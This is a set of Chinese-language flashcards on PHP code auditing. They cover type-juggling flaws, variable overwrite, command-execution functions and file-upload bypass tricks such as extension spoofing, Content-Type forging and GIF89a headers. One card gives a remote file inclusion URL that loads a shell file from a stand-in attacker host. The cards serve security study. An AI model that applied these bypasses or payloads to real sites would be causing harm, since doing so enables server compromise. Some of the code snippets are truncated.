代码审计 Flashcards
magic_quotes_runtime干什么用的
魔术引号
自动在’,”,\,NULL前面加反斜杠\
文件上传漏洞,有一个文件test.jpg,里面代码是木马代码,我把后缀名改成jpg了,我想让它执行里面的代码,怎么做
当访问www.xx.com/phpinfo.jpg/1.php这个URL时,会将phpinfo.jpg作为PHP文件来解析(1.php是不存在的文件)
文件上传漏洞中,如果网站把asp用黑名单过滤掉了,还可以用什么后缀代替(如hello.asp)
大小写:hello.aSp
hello. asa
hello. cer
hello. cdx
php中popen()是什么漏洞
命令执行漏洞
>D:/2.txt’,’r’);?>
第一个参数是命令
第二个参数是指针文件的连接模式,有r和w代表读和写
phpinfo()’;
preg_replace(“/(.*?)$regexp”, ‘\1’, $var);
?>
能看出什么漏洞
代码执行漏洞preg_replace()
文件上传漏洞中,apache的conf里面有这样一个配置
AddType application/x-httpd-php .jpg
是什么意思
即使扩展名是jpg,一样能以php方式执行
请说明php中的md5比较漏洞是什么意思
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么php将会认为他们相同,都是0。
所以php中md5(QNKCDZO)==md5(240610708)这个说法是正确的
php中file_put_contents()表示什么漏洞
本地文件写入漏洞
能看出什么漏洞
array_map()代码执行漏洞
我们提交 http://127.0.0.1/array_map.php?callback=phpinfo 即执行phpinfo()。
文件上传漏洞中,如果是服务端校验不允许上传php格式,怎样通过抓包的方法绕过
上传1.php,用burp抓包,将content-type字段改为image /gif或者image /jpeg
php中::是什么作用
在PHP中“::”这个叫范围解析操作符,又名域运算符
“::”符号可以认为是与C语言中的“.”相似的,而它更像C++中(Perl)的::类范围操作符。
php调用类的内部静态成员,或者是类之间调用就要用::
下面是一个例子: class A { static $count = 0; static function haha() { // } function diaoyoug() { self::haha(); self::$count; } }
a.b.c; /* C语言中的 */
a::b::c(); // C++ 中的函数
$a::b::c; # Perl 5中的标量
php中strcmp有什么特点
返回0的意思是相等。
- 2 中是将两个参数先转换成string类型。
- 3.3以后,当比较数组和字符串的时候,返回是0。
- 5 中如果参数不是string类型,直接return了
php中,parse_str()的作用是什么,会有什么漏洞
作用是:解析字符串并注册成变量,会直接覆盖已有变量
变量$b原有的值1被覆盖为了2
php中in_array()有什么特点?
函数作用:用来判断一个值是否在某个数组列表里
$array=[0,1,2,’3’];
var_dump(in_array(‘abc’, $array)); //true
var_dump(in_array(‘1bc’, $array)); //true
可以看到上面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。
在所有php认为是int的地方输入string,都会被强制转换
php中,register_globals=on时,表示什么
变量来源可能是各种不同的地方,都可以覆盖
php中双引号的但引号表示字符串有区别吗
双引号会解析中间的变量,如:
$a = ‘hello’
$b=”$a”,则b=‘hello’
但$b=’$a’,则b=’$a’
${ } 有什么漏洞
它将执行花括号间的代码,并将结果替换回去
if (ini_get(‘register_globals’))
foreach($_REQUEST as $k=>$v)
unset($($k));
变量$a没有初始化,在register_globals=on时,控制$a出错
http://www.abc.com/test1.php?a=1$b=2
显示$a未定义,这时该怎么办
http://www.abc.com/test1.php?GLOBALS[a]=1$b=2则覆盖成功
php中switch()有什么特点
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:
这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。
allow_url_include干什么用的
在该配置为 on 的情况下,它可以直接包含远程文件,当存在 include ($var) 且 $var 可控的情况下,可以直接控制 $var 变量来执行 PHP 代码。
allow_url_include 在 PHP 5.2.0 后默认设置为 off,配置范围是 PHP_INI_ALL。
与之类似的配置有 allow_url_fopen,配置是否允许打开远程文件,不过该参数对安全的影响没有 allow_url_include 大
配置 allow_url_include 为 on,可以直接包含远程文件。测试代码如下:
想查看php的配置文件,应该搜索什么关键字的文件名
config
php中,import_request_variables()的作用是什么,会有什么漏洞
作用:把GET,POST,COOKIE的参数注册成变量
此时访问网址:http://test.com/1.php?b=2,则$b的值1被覆盖成了2
php审计中,关于配置,我们需要注意哪几个配置,说出10个
SET NAMES 如果是gbk,则存在宽字节漏洞 register_globals 全局注册开关 allow_url_include 是否包含远程文件 magic_quotes_gpc 魔术引号 magic_quotes_runtime 魔术引号(针对文件和数据库) safe_mode 安全模式 open_basedir 限制php可访问目录 disable_functions 禁用函数 display_errors display_errors 和 error_reporting 错误显示
open_basedir是干什么用的
用来现实php只能访问哪些目录
一个开关的配置范围是PHP_INI_PERDIR,我应该去哪里设置这个开关
php.ini或htaccess或httpd.conf中设置
SET NAMES ‘gbk’能看出什么漏洞?
容易存在宽字节漏洞
本地包含漏洞什么情况下使用%00截断
因为服务器代码规定了后缀,所以不能为所欲为地包含文件时
文件上传漏洞中www.xx.com/xx.asp;.jpg是什么原理
服务器默认不解析;后面的内容,因此xx.asp;.jpg被解析为asp
apache服务器里面有这样的配置
AddHandler php5-script.php
服务器禁止上传php文件,怎样绕过?
有这个配置的话,只要文件名里面包含.php,即使文件名是test2.php.jpg,也会以php来执行
文件上传漏洞中,如果客户端校验不允许上传asp格式文件怎么办
上传1.jpg,然后burp抓包,改成1.asp
if ($route == "share"){ require_once $basePath . '/action/m_share.php'; } elseif ($route == "sharelink"){ require_once $basePath . '/action/m_sharelink.php'; } 审计上面代码,有什么漏洞?怎样利用? 网址为www.hello.com/1.php
www.hello.com/1.php?param=http://attacker/phpshell.txt?
则代码执行require_once ‘http://attacker/phpshell.txt?/action/m_share.php’
远程文件包含也可以执行命令,比如上面的phpshell.txt的内容如果是:
php中getimagesize()函数有什么漏洞
getimagesize()函数:验证文件头只要为GIF89a,就会返回真(意思是上传不是图片的文件也会认为是图片)。
举例:在木马内容基础上再加了一些文件信息,如muma.gif的内容为GIF89a
php中,disable_functions的配置范围是php.ini only,那么应该去那里设置这个开关?
只能在php.ini中设置
php中,passthru()表示什么漏洞
命令执行漏洞